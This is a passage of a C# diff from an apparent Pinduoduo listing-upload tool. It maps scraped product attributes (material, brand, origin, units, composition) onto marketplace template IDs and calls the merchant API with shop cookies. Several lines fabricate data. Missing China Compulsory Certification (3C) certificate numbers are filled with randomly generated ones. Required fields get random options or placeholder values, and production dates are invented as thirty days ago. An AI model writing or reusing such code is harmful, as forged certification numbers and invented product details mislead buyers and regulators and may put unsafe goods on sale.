+ string v1 = p.values[j].value.Split('/')[0]; + string v2 = p.values[j].value.Split('/')[1]; + po = pc.Prop.Find(pr => pr.Value.Contains(v1) || pr.Value.Contains(v2)); + if (po != null) + { + vid = (int)p.values[j].vid; + if (!p.values[j].value.Contains("其它") && p.parent_id == 0) + { + int count = vidParentIds[(int)p.id].Count; + var pid = vidParentIds[(int)p.id].Find(s => s == vid); + if (pid == 0) + vid = vidParentIds[(int)p.id][count - 1]; + break; + } + vid = 0; + continue; + } + } + if (pc.from_name.Contains(p.values[j].value)) + { + vid = (int)p.values[j].vid; + if (vidParentIds.ContainsKey((int)p.id) && vidParentIds[(int)p.id] != null && vidParentIds[(int)p.id].Count > 0) + { + var px = vidParentIds[(int)p.id].Find(s => s == vid); + if (px > 0) + { + int? vidxt = 0;//子节点ID + foreach (int key in dicPro.Keys)//父节点找子节点 + { + if (key == p.id) + { + vidxt = dicPro[key]; + break; + } + } + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt) && p.values[j].parent_vids != null)//限制父节点取值 + { + var item = p.values.Find(v => v.vid == vid); + vidParentIds.Add((int)vidxt, item.parent_vids); + } + + } + //&& !p.values[j].value.Contains("其它") + break; + } + else + { + vid = 0; + continue; + } + } //如果子节点没有找到 + if (!p.values[j].value.Contains("其它") && p.parent_id == 0) + break; + vid = 0; + continue; + } + } + + + } + if (p.required != null && vid == 0) + { + if (p.name.Contains("面料") || p.name.Contains("材质")) + { + //判断是否允许选择该vid,是否在可选范围内 + if (vidParentIds.ContainsKey((int)p.id) && vidParentIds[(int)p.id] != null && vidParentIds[(int)p.id].Count > 0) + { + int count = vidParentIds[(int)p.id].Count; + int px = 0; + for (int q = 0; q < p.values.Count; q++) + { + if (pc.from_name.Contains(p.values[q].value.Replace("纤维", ""))) + { + px = (int)p.values[q].vid; + if (vidParentIds.ContainsKey((int)p.id) && vidParentIds[(int)p.id] != null && vidParentIds[(int)p.id].Count > 0) + { + px = vidParentIds[(int)p.id].Find(s => s == px); + if (px > 0)//&& !p.values[j].value.Contains("其它") + break; + else + continue; + } + break; + } + } + if (px == 0) + { + for (int q = 0; q < p.values.Count; q++) + { + if (p.values[q].value.Contains("其它") || p.values[q].value.Contains("其他")) + { + px = (int)p.values[q].vid; + break; + } + } + } + var pid = vidParentIds[(int)p.id].Find(s => s == px); + if (pid == 0) + px = vidParentIds[(int)p.id][count - 1]; + if (px > 0) + { + vid = px; + if (p.parent_id == 0) + { + } + else + { + int? vidxt = 0;//子节点ID + foreach (int key in dicPro.Keys)//父节点找子节点 + { + if (key == p.id) + { + vidxt = dicPro[key]; + break; + } + } + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt))//限制父节点取值 + { + var item = p.values.Find(v => v.vid == vid); + if (item != null && item.parent_vids != null) + vidParentIds.Add((int)vidxt, item.parent_vids); + } + + } + } + } + } + if (vid == 0) + {//如果子节点没有找到 + for (int q = 0; q < p.values.Count; q++) + { + if (pc.from_name.Contains(p.values[q].value.Replace("纤维", ""))) + { + vid = (int)p.values[q].vid; + if (vidParentIds.ContainsKey((int)p.id) && vidParentIds[(int)p.id] != null && vidParentIds[(int)p.id].Count > 0) + { + var pxx = vidParentIds[(int)p.id].Find(s => s == vid); + if (pxx > 0)//&& !p.values[j].value.Contains("其它") + break; + else + continue; + } + int? vidxt = 0;//子节点ID + foreach (int key in dicPro.Keys)//父节点找子节点 + { + if (key == p.id) + { + vidxt = dicPro[key]; + break; + } + } + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt))//限制父节点取值 + { + var item = p.values.Find(v => v.vid == vid); + if (item != null && item.parent_vids != null) + vidParentIds.Add((int)vidxt, item.parent_vids); + } + + } + break; + } + if (p.values[q].value.Contains("其它") || p.values[q].value.Contains("其他")) + { + vid = (int)p.values[q].vid; + int vidchild = 0; + foreach (KeyValuePair kv in dicPro) + { + if (kv.Value == p.id) + { + vidchild = (int)kv.Key; + break; + } + } + if (code.Contains(vidchild.ToString()) && p.values[q].value.Contains("其他")) + { + var mc = BaseRegex.GetMatchRegex(ref code, @",{""template_pid"":" + vidchild + @",""vid"":([\d]+),[\w\W]+?}"); + if (mc == null || mc.Count == 0) continue; + string vidstr = mc[0].Groups[1].Value; + string item = mc[0].Groups[0].Value; + code = code.Replace(item, ""); + } + if (code.Contains(vidchild.ToString()) && p.name.Contains("材质") && p.values[q].value.Contains("其它")) + { + var mc = BaseRegex.GetMatchRegex(ref code, @",{""template_pid"":" + vidchild + @",""vid"":([\d]+),[\w\W]+?}"); + if (mc == null || mc.Count == 0) continue; + string vidstr = mc[0].Groups[1].Value; + string item = mc[0].Groups[0].Value; + code = code.Replace(item, ""); + } + int? vidxt = 0;//子节点ID + foreach (int key in dicPro.Keys)//父节点找子节点 + { + if (key == p.id) + { + vidxt = dicPro[key]; + break; + } + } + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt) && p.values[q].parent_vids != null)//限制父节点取值 + { + vidParentIds.Add((int)vidxt, p.values[q].parent_vids); + break; + } + } + break; + } + } + } + + else + { + var pxv = p.values.Find(s => s.vid == vid); + if (pxv != null && pxv.value == "其他") + { + int vidchild = 0; + foreach (KeyValuePair kv in dicPro) + { + if (kv.Value == p.id) + { + vidchild = (int)kv.Key; + break; + } + } + if (code.Contains(vidchild.ToString()) && catId != 9524) + { + var mc = BaseRegex.GetMatchRegex(ref code, @",{""template_pid"":" + vidchild + @",""vid"":([\d]+),[\w\W]+?}"); + if (mc == null || mc.Count == 0) continue; + string vidstr = mc[0].Groups[1].Value; + string item = mc[0].Groups[0].Value; + code = code.Replace(item, ""); + mustCode = mustCode.Replace(item, ""); + } + } + } + } + } + if (vid > 0) + { + var pxv = p.values.Find(s => s.vid == vid); + if (pxv == null) + { + pxv = p.values.Find(s => s.value == "其他" || s.value == "其它"); + if (pxv != null) + vid = (int)pxv.vid; + else + vid = 0; + } + if (pxv != null && pxv.value == "PU") + { + pxv = p.values.Find(s => s.value == "其他" || s.value == "其它"); + if (pxv == null && !(bool)p.required) + continue; + vid = (int)pxv.vid; + } + if (pxv != null && pxv.value == "其他") + { + int vidchild = 0; + foreach (KeyValuePair kv in dicPro) + { + if (kv.Value == p.id) + { + vidchild = (int)kv.Key; + break; + } + } + if (code.Contains(vidchild.ToString()) && catId != 9524) + { + var mc = BaseRegex.GetMatchRegex(ref code, @",{""template_pid"":" + vidchild + @",""vid"":([\d]+),[\w\W]+?}"); + if (mc == null || mc.Count == 0) continue; + string vidstr = mc[0].Groups[1].Value; + string item = mc[0].Groups[0].Value; + code = code.Replace(item, ""); + mustCode = mustCode.Replace(item, ""); + } + } + } + + if (vid > 0) + { + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + levelproperties.RemoveAt(i); + i--; + } + continue; + } + #endregion + if (p.values == null||p.values.Count==0)//输入型 + { + if (po == null) + continue; + if (!string.IsNullOrEmpty(p.value_unit)) + value = po.Value.Replace(p.value_unit, ""); + else + value = po.Value; + if (p.value_type == 1)//数值型 + { + value = BaseRegex.GetMatchRegexString(po.Value, @"([\d.X]+)" + p.value_unit);// + if (string.IsNullOrEmpty(value)) + { + value = BaseRegex.GetMatchRegexString(po.Value, @"([\d.]+)"); + p.value_unit = BaseRegex.GetMatchRegexString(po.Value, @"([^\d.]+)"); + } + if (p.name.Contains("年龄")) + p.value_unit = "岁"; + if (p.name.Contains("定价")) + p.value_unit = "元"; + if (po.Value.Contains("—")) + { + value = BaseRegex.GetMatchRegexString(po.Value, @"([\d.—X]+)" + p.value_unit);// + value = value.Replace("—", ","); + } + if (!string.IsNullOrEmpty(p.value_unit)) + p.value_unit = p.value_unit.Trim(); + if (catId == 10492 || catId == 10487) + { + p.value_unit = "cm"; + value = (int.Parse(value) / 10).ToString(); + } + if (catId == 18629) + { + p.value_unit = "g"; + } + if ((p.name_alias.Contains("包") || p.name.Contains("包")) && string.IsNullOrEmpty(p.value_unit)) + { + p.value_unit = "包"; + } + if (catId == 17378 || catId == 17377 && string.IsNullOrEmpty(p.value_unit)) + { + p.value_unit = "包"; + } + if (catId == 4668) + { + p.value_unit = "张"; + } + if (catId == 17360 && p.value_unit.Contains("L")) + { + decimal result = 0M; + decimal.TryParse(value, out result); + value = ((int)(result * 1000)).ToString(); + p.value_unit = "mL"; + } + if (p.value_unit.Contains("-") || p.value_unit.Contains("(") || p.value_unit.Contains(")")) + { + p.value_unit = p.value_unit.Replace("-", "").Replace("(", "").Replace(")", ""); + } + if (catId == 7799 && p.value_unit.Contains("mL")) + p.value_unit = "mL"; + if (string.IsNullOrEmpty(value) && p.required == true)//必填强制指定 + value = "1"; + } + if (p.value_type == 5) + { + value = BaseRegex.GetMatchRegexString(value, @"([\d]{4}-[\d]{1,2}-[\d]{1,2})"); + if (string.IsNullOrEmpty(value)) + value = DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd"); + } + if (p.value_type != 0) + value = value.Replace("X", ","); + if (string.IsNullOrEmpty(value) && p.name == "3C认证证书编号") + { + value = +Randomx.GetId(2000, 2017) + "0" + Randomx.GetId(10000, 99999) + "" + Randomx.GetId(100000, 999999); + } + if (p.name.Contains("期") && p.value_unit == null) + p.value_unit = "天"; + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + if (p.required == true) + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + + var pcode = template.properties.Find(t => t.id == p.parent_id); + if (pcode != null && pcode.name == "产地" && !code.Contains(pcode.id.ToString())) + code += ",{\"template_pid\":" + pcode.id + ",\"vid\":24044,\"value\":\"\",\"value_unit\":\"\"}"; + levelproperties.RemoveAt(i); + i--; + continue; + } + else if (p.is_sale == true && p.values.Count > 0)//复选多属性 + { + continue; + } + else if (p.values.Count > 0) + { + if (po != null) + { + var v = p.values.Find(va => va.value == po.Value.Trim()); + if (v == null) + v = p.values.Find(va => va.value.Contains(po.Value.Trim()) || po.Value.Trim().Contains(va.value)); + if (v == null) + v = p.values.Find(va => va.value.Replace("其它", "其他") == po.Value.Replace("其它", "其他")); + if (v == null) + v = p.values.Find(va => va.value == po.Value.Replace("插电", "电源")); + if (v == null && p.name == "适用年龄段") + { + var mage = BaseRegex.GetMatchRegex(ref po.Value, @"[\d]+"); + if (mage != null && mage.Count == 2) + { + string item1 = mage[0].Groups[0].Value; + string item2 = mage[1].Groups[0].Value; + v = p.values.Find(va => va.value.Contains(item1) && va.value.Contains(item2)); + } + } + + if (v == null && p.required == true) //必填强制随机 + v = p.values[Randomx.GetId(p.values.Count)]; + if (v != null) + vid = (int)v.vid; + if (p.name.Contains("特殊")) + { + if (code.Contains("国妆")|| code.Contains("QB")) + { + vid = (int)p.values.Find(pt => pt.value == "是").vid; + } + } + if (vid > 0) + value = v.value; + int? vidxt = 0;//子节点ID + foreach (int key in dicPro.Keys)//父节点找子节点 + { + if (key == p.id) + { + vidxt = dicPro[key]; + break; + } + } + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt))//限制父节点取值 + { + var item = p.values.Find(vx => vx.vid == vid); + if (item != null && item.parent_vids != null) + vidParentIds.Add((int)vidxt, item.parent_vids); + } + + } + } + //判断是否允许选择该vid,是否在可选范围内 + if (vidParentIds.ContainsKey((int)p.id)) + { + int count = vidParentIds[(int)p.id].Count; + int px = 0; + for (int q = 0; q < p.values.Count; q++) + { + vid = (int)p.values[q].vid; + if (vidParentIds.ContainsKey((int)p.id)) + { + px = vidParentIds[(int)p.id].Find(s => s == vid); + if (px > 0)//&& !p.values[j].value.Contains("其它") + break; + else + continue; + } + } + var pid = vidParentIds[(int)p.id].Find(s => s == px); + if (pid == 0) + px = vidParentIds[(int)p.id][count - 1]; + if (px > 0) + { + vid = px; + if (p.parent_id == 0) + { + } + else + { + int? vidxt = 0;//子节点ID + foreach (int key in dicPro.Keys)//父节点找子节点 + { + if (key == p.id) + { + vidxt = dicPro[key]; + break; + } + } + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt))//限制父节点取值 + { + var item = p.values.Find(v => v.vid == vid); + if (item != null && item.parent_vids != null) + vidParentIds.Add((int)vidxt, item.parent_vids); + } + + } + } + } + } + if (vid == 0 && (bool)p.required) + { + vid = (int)p.values[0].vid; + if (p.name.Contains("特殊")) + { + if (code.Contains("国妆") || code.Contains("QB")) + { + vid = (int)p.values.Find(pt=>pt.value=="是").vid; + } + } + if (p.name.Contains("营养食品类型")) + { + if (code.Contains("国")) + vid = (int)p.values.Find(s => s.value.Contains("保健")).vid; + else if (code.Contains("SC") || string.IsNullOrEmpty(code)) + vid = (int)p.values.Find(s => s.value.Contains("普通膳食")).vid; + else + vid = (int)p.values.Find(s => s.value.Contains("海外膳食")).vid; + } + int? vidxt = 0;//子节点ID + foreach (int key in dicPro.Keys)//父节点找子节点 + { + if (key == p.id) + { + vidxt = dicPro[key]; + break; + } + } + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt))//限制父节点取值 + { + var item = p.values.Find(v => v.vid == vid); + if (item != null && item.parent_vids != null) + vidParentIds.Add((int)vidxt, item.parent_vids); + } + + } + } + if (vid > 0) + { + if (p.name == "省份" && String.IsNullOrEmpty(code)) + { + levelproperties.RemoveAt(i); + i--; + continue; + } + } + if (vid > 0) + { + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + if (po == null) + { + levelproperties.RemoveAt(i); + i--; + } + } + + } + if (po == null) + po = pc.Prop.Find(pr => pr.Value.Contains(p.name) || pr.Value.Contains(p.name_alias)); + if (po == null || vid == 0) + continue; + levelproperties.RemoveAt(i); + i--; + } + //for (int i = 0; i < levelproperties.Count; i++) + //{ + // properties.Add(levelproperties[i]); + //} + for (int i = 0; i < properties.Count; i++) + { + string value = ""; + int vid = 0; + KeyValueBase po = null; + var p = properties[i]; + if (p.name == null) + p.name = p.name_alias; + if (p.name == null) + continue; + if (p.required == true) + { + } + if (catId == 3109 && (p.name == "电池容量" || p.name_alias == "电池容量")) + continue; + if (p.name == "品牌") + { + if (UploadPinduoduoMain.ckBrandName && !string.IsNullOrEmpty(UploadPinduoduoMain.BrandName)) + { + for (int j = 0; j < p.values.Count; j++) + { + string barand = p.values[j].value; + int id = (int)p.values[j].vid; + if (barand.Contains("/")) + barand = barand.Split('/')[1]; + if (barand == UploadPinduoduoMain.BrandName) + { + vid = id; + break; + } + } + if (vid==0) + { + string url = "https://mms.pinduoduo.com/draco-ms/mms/template/property/value/search"; + string data = "{\"cat_id\":"+catId+",\"template_pid\":"+p.id+",\"parent_vid\":0,\"value\":\""+ UploadPinduoduoMain.BrandName + "\"}"; + string htmlVid = GetPostTaobaoHtml.UploadTaobaoPost(url, url, true, data, false,shop.Cookies); + vid = BaseRegex.GetIntJson(ref htmlVid, "vid"); + } + if (vid == 0) + continue; + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + if (p.required == true) + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + properties.RemoveAt(i); + i--; + continue; + } + } + if (pc.main_cat_name == "食品保健" && pc.from_shop_name!=null&&pc.from_shop_name.Contains("专卖店") && p.name.Contains("品牌") && p.name_alias == "品牌") + { + po = pc.Prop.Find(pr => pr.Key == p.name || pr.Key == p.name_alias); + if (po == null) + continue; + for (int j = 0; j < p.values.Count; j++) + { + string barand = p.values[j].value; + int id = (int)p.values[j].vid; + if (barand.Contains("/")) + barand = barand.Split('/')[1]; + if (barand == po.Value) + { + vid = id; + break; + } + } + if (vid == 0) + continue; + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + if (p.required == true) + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + properties.RemoveAt(i); + i--; + continue; + } + if (code.Contains("保健食品") && p.name == "厂名" && p.required == false) + { + continue; + } + if (code.Contains("保健食品") && p.name == "厂址" && p.required == false) + { + continue; + } + if (UploadPinduoduoMain.brandNameList.Count == 0 && p.name.Contains("品牌") && p.name_alias == "品牌" && !UploadPinduoduoMain.isPriceModel) + continue; + //先处理特殊类型 + #region 产地 + if (p.name == "产地") + { + var area = p.values.Find(v => v.vid == 24044); + if (area == null) continue; + int? parentid = p.parent_id; + if (p.parent_id > 0 && !string.IsNullOrEmpty(code)) + { + var mc = BaseRegex.GetMatchRegex(ref code, @",{""template_pid"":" + parentid + @",""vid"":([\d]+),[\w\W]+?}"); + if (mc == null || mc.Count == 0) continue; + string vidstr = mc[0].Groups[1].Value; + string item = mc[0].Groups[0].Value; + int result = area.parent_vids.Find(v => v.ToString() == vidstr); + if (result == 0) + { + code = code.Replace(item, ""); + code += item.Replace("\"vid\":10629", "\"vid\":" + area.parent_vids[0] + ""); + } + } + vid = 24044;//中国 + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + if (p.required == true) + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + properties.RemoveAt(i); + i--; + continue; + } + #endregion + + #region 成分含量 + if (p.name == "成分含量") + { + po = pc.Prop.Find(pr => pr.Key == "材质成分"); + if (po == null) + po = pc.Prop.Find(pr => pr.Key.Contains("成分")); + if (po == null) + po = pc.Prop.Find(pr => pr.Value.Contains("%")); + string percent = ""; + if (po != null) + percent = BaseRegex.GetMatchRegexString(po.Value, @"([\d.]+)%"); + if (po == null || string.IsNullOrEmpty(percent))//未匹配到则自动选择最低 + { + var m = BaseRegex.GetMatchRegex(ref code, @",{""template_pid"":" + p.parent_id + @",""vid"":([\d]+),[\w\W]+?}"); + if (m == null || m.Count == 0) continue; + string goodItem = m[0].Groups[0].Value; + long vidxt = BaseRegex.GetLongJson(ref goodItem, "vid"); + bool ishas = false; + vid = 14503;//少于30% + if (vid > 0) + { + var item = p.values.Find(v => v.vid == vid); + var temp = item.parent_vids.Find(s => s == vidxt);//判断成分含量是否包含父节点 + if (temp > 0) + ishas = true; + } + if (!ishas) + { + for (int q = 0; q < p.values.Count; q++) + { + var temp = p.values[q].parent_vids.Find(s => s == vidxt);//判断成分含量是否包含父节点 + if (temp > 0) + { + vid = (int)p.values[q].vid; + break; + } + } + } + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + if (p.required == true) + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + properties.RemoveAt(i); + i--; + continue; + } + int per = (int)(decimal.Parse(percent)); + for (int j = 0; p.values != null && j < p.values.Count; j++) + { + var m = BaseRegex.GetMatchRegex(p.values[j].value, @"([\d]+)%"); + int min = 0, max = 0; + if (m == null || m.Count == 0) + break; + if (m.Count == 1) + { + min = max = int.Parse(m[0].Groups[1].Value); + if (p.values[j].value.Contains("小于") || p.values[j].value.Contains("少于") || p.values[j].value.Contains("以下")) + min = 0; + if (p.values[j].value.Contains("大于") || p.values[j].value.Contains("多于") || p.values[j].value.Contains("以上")) + max = 100; + } + if (m.Count == 2) + { + min = int.Parse(m[0].Groups[1].Value); + max = int.Parse(m[1].Groups[1].Value); + } + if (per >= min && per <= max) + { + vid = (int)p.values[j].vid; + //m = BaseRegex.GetMatchRegex(ref code, @"""vid"":([\d]+)"); + m = BaseRegex.GetMatchRegex(ref code, @",{""template_pid"":" + p.parent_id + @",""vid"":([\d]+),[\w\W]+?}"); + if (m == null || m.Count == 0) continue; + bool ishas = false; + string goodItem = m[0].Groups[0].Value; + long vidx = BaseRegex.GetLongJson(ref goodItem, "vid"); + if (vid > 0) + { + var item = p.values.Find(v => v.vid == vid); + var temp = item.parent_vids.Find(s => s == vidx);//判断成分含量是否包含父节点 + if (temp > 0) + ishas = true; + } + if (!ishas) + { + for (int q = 0; q < p.values.Count; q++) + { + var temp = p.values[q].parent_vids.Find(s => s == vidx);//判断成分含量是否包含父节点 + if (temp > 0) + { + vid = (int)p.values[q].vid; + break; + } + } + } + + } + } + if (vid == 0) + vid = 14503;//少于30% + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + if (p.required == true) + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + properties.RemoveAt(i); + i--; + continue; + } + #endregion + + po = pc.Prop.Find(pr => pr.Key == p.name || pr.Key == p.name_alias); + if (po != null && po.Key == "材质" && po.Value.Contains("他")) + po = pc.Prop.Find(pr => pr.Key == "材质成分" && (pr.Key.Contains(p.name) || pr.Key.Contains(p.name_alias))); + if (po == null) + po = pc.Prop.Find(pr => pr.Key.Contains(p.name) || pr.Key.Contains(p.name_alias)); + if (p.name == "3C认证证书编号") + po = pc.Prop.Find(pr => pr.Key.Contains("证书编号")); + if (po == null && p.name == "包装规格" && p.name_alias == "药品规格") + po = pc.Prop.Find(pr => pr.Key.Contains("规格")); + if (po == null && p.name == "包装规格" && p.name_alias == "商品规格") + po = pc.Prop.Find(pr => pr.Key.Contains("规格")); + if (po == null && p.name == "药品类别") + po = pc.Prop.Find(pr => pr.Key.Contains("类别")); + if (p.name == "容量") + po = pc.Prop.Find(pr => pr.Key == "3C规格型号"); + + if (p.name == "品牌"&&po!=null) + { + for (int j = 0; j < p.values.Count; j++) + { + string barand = p.values[j].value; + int id = (int)p.values[j].vid; + if (barand == po.Value) + { + vid = id; + break; + } + } + if (vid == 0) + continue; + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + if (p.required == true) + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + properties.RemoveAt(i); + i--; + continue; + } + + #region MyRegion + if (p.name.Contains("面料俗称") || p.name.Contains("面料材质") || p.name.Contains("材质") || p.name == "材质" || p.name == "面料") + { + if (po == null) + { + po = pc.Prop.Find(pr => pr.Key == p.name || pr.Key == p.name_alias || pr.Key.Contains("材质") || pr.Key.Contains("面料")); + } + for (int j = 0; j < p.values.Count; j++) + { + if (po != null && po.Key.Contains("/")) + { + string v1 = po.Value.Split('/')[0]; + //string v2 = po.Value.Split('/')[1]; + string v2 = po.Value.Split('/').Length == 2 ? po.Value.Split('/')[1] : v1; + if (p.values[j].value.Contains(v1) || p.values[j].value.Contains(v2) || v1.Contains(p.values[j].value) + || v2.Contains(p.values[j].value)) + { + vid = (int)p.values[j].vid; + if (p.parent_id == 0) + break; + var m = BaseRegex.GetMatchRegex(ref code, @",{""template_pid"":" + p.parent_id + @",""vid"":([\d]+),[\w\W]+?}"); + if (m == null || m.Count == 0) + { + var px = properties.Find(pr => pr.id == p.parent_id); + if (px == null) + continue; + int vidxt = p.values[j].parent_vids[p.values[j].parent_vids.Count - 1]; + if (vidxt > 0) + { + code += ",{\"template_pid\":" + px.id + ",\"vid\":" + vidxt + ",\"value\":\"" + value + "\",\"value_unit\":\"" + px.value_unit + "\"}"; + mustCode += ",{\"template_pid\":" + px.id + ",\"vid\":" + vidxt + ",\"value\":\"" + value + "\",\"value_unit\":\"" + px.value_unit + "\"}"; + break; + } + continue; + } + string goodItem = m[0].Groups[0].Value; + long vidx = BaseRegex.GetLongJson(ref goodItem, "vid"); + var temp = p.values[j].parent_vids.Find(s => s == vidx); + if (temp > 0) + { + if (!p.values[j].value.Contains("其它")) + break; + vid = 0; + continue; + } + else + continue; + } + } + else + { + if (po == null) + po = pc.Prop.Find(pr => pr.Value == p.values[j].value); + //if (po==null) + // po = pc.Prop.Find(pr => pr.Value.Contains(p.values[j].value)); + if (po != null) + { + + if (p.values[j].value.Contains(po.Value.Replace(")", ")").Replace("(", "(")) || po.Value.Contains(p.values[j].value.Replace(")", ")").Replace("(", "("))) + { + vid = (int)p.values[j].vid; + if (p.parent_id == 0) + break; + var m = BaseRegex.GetMatchRegex(ref code, @",{""template_pid"":" + p.parent_id + @",""vid"":([\d]+),[\w\W]+?}"); + if (m == null || m.Count == 0) + { + var px = properties.Find(pr => pr.id == p.parent_id); + if (px == null) + continue; + int vidxt = p.values[j].parent_vids[p.values[j].parent_vids.Count - 1]; + if (vidxt > 0) + { + code += ",{\"template_pid\":" + px.id + ",\"vid\":" + vidxt + ",\"value\":\"" + value + "\",\"value_unit\":\"" + px.value_unit + "\"}"; + mustCode += ",{\"template_pid\":" + px.id + ",\"vid\":" + vidxt + ",\"value\":\"" + value + "\",\"value_unit\":\"" + px.value_unit + "\"}"; + break; + } + continue; + } + string goodItem = m[0].Groups[0].Value; + int vidx = BaseRegex.GetIntJson(ref goodItem, "vid"); + var temp = p.values[j].parent_vids.Find(s => s == vidx); + if (temp > 0) + { + if (!p.values[j].value.Contains("其它")) + break; + vid = 0; + continue; + } + else + continue; + } + } + if (p.values[j].value.Contains("/")) + { + string v1 = p.values[j].value.Split('/')[0]; + string v2 = p.values[j].value.Split('/')[1]; + po = pc.Prop.Find(pr => pr.Value.Contains(v1) || pr.Value.Contains(v2)); + if (po != null) + { + vid = (int)p.values[j].vid; + break; + } + } + if (pc.from_name.Contains(p.values[j].value)) + { + vid = (int)p.values[j].vid; + if (!p.values[j].value.Contains("其它") || p.parent_id == 0) + break; + vid = 0; + continue; + } + } + } + if (po == null) + { + for (int j = 0; j < p.values.Count; j++) + { + po = pc.Prop.Find(pr => (pr.Key == p.name || pr.Key == p.name_alias) && pr.Value.Contains(p.values[j].value)); + if (po != null) + { + vid = (int)p.values[j].vid; + if (!p.values[j].value.Contains("其它") || p.parent_id == 0) + break; + vid = 0; + continue; + } + if (p.values[j].value.Contains("/")) + { + string v1 = p.values[j].value.Split('/')[0]; + string v2 = p.values[j].value.Split('/')[1]; + po = pc.Prop.Find(pr => pr.Value.Contains(v1) || pr.Value.Contains(v2)); + if (po != null) + { + vid = (int)p.values[j].vid; + break; + } + } + if (pc.from_name.Contains(p.values[j].value)) + { + vid = (int)p.values[j].vid; + if (!p.values[j].value.Contains("其它") || p.parent_id == 0) + break; + vid = 0; + continue; + } + } + } + if (p.required != null && p.required == true && vid == 0) + { + if (po == null && p.values.Count > 0 && vid == 0) + vid = (int)p.values[0].vid; + if (p.name.Contains("面料材质") || p.name == "材质") + { + bool ishas = false; + var m = BaseRegex.GetMatchRegex(ref code, @",{""template_pid"":" + p.parent_id + @",""vid"":([\d]+),[\w\W]+?}"); + if (m == null || m.Count == 0) continue; + string goodItem = m[0].Groups[0].Value; + long vidVal = BaseRegex.GetLongJson(ref goodItem, "vid"); + if (vid > 0) + { + var item = p.values.Find(v => v.vid == vid); + var temp = item.parent_vids.Find(s => s == vidVal);//判断成分含量是否包含父节点 + if (temp > 0) + ishas = true; + } + if (!ishas) + { + for (int q = 0; q < p.values.Count; q++) + { + var temp = p.values[q].parent_vids.Find(s => s == vidVal);//判断成分含量是否包含父节点 + if (temp > 0) + { + vid = (int)p.values[q].vid; + break; + } + } + } + } + } + if (p.required != null && p.required == false && vid == 0) + { + if (p.values.Count > 0) + { + for (int k = 0; k < p.values.Count; k++) + { + if (pc.from_name.Contains(p.values[k].value)) + { + vid = (int)p.values[k].vid; + break; + } + } + + } + continue; + } + if (p.name.Contains("面料") && vid == 0) + { + if (po == null && p.values.Count > 0) + vid = (int)p.values[0].vid; + if (po != null && p.values.Count > 0) + { + for (int k = 0; k < p.values.Count; k++) + { + if (p.values[k].value == "其他" || p.values[k].value == "其它") + { + vid = (int)p.values[k].vid; + break; + } + } + + } + } + if (vid > 0) + { + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + properties.RemoveAt(i); + i--; + } + continue; + } + #endregion + if (po == null) + po = pc.Prop.Find(pr => pr.Value.Contains(p.name) || pr.Value.Contains(p.name_alias)); + if (po == null) + continue; + properties.RemoveAt(i); + i--; + + if (p.values == null || p.values.Count == 0)//输入型 + { + if (!string.IsNullOrEmpty(p.value_unit) && !p.value_unit.Contains("—")) + value = po.Value.Replace(p.value_unit, ""); + else + value = po.Value; + + if (p.value_type == 1)//数值型 + { + if (value.Contains("X")) + { + string[] bi = value.Split('X'); + if (p.name == "长" && bi.Length > 0) + { + value = bi[0]; + } + if (p.name == "宽" && bi.Length > 1) + { + value = bi[1]; + } + if (p.name == "高" && bi.Length > 2) + { + value = bi[2]; + } + } + if 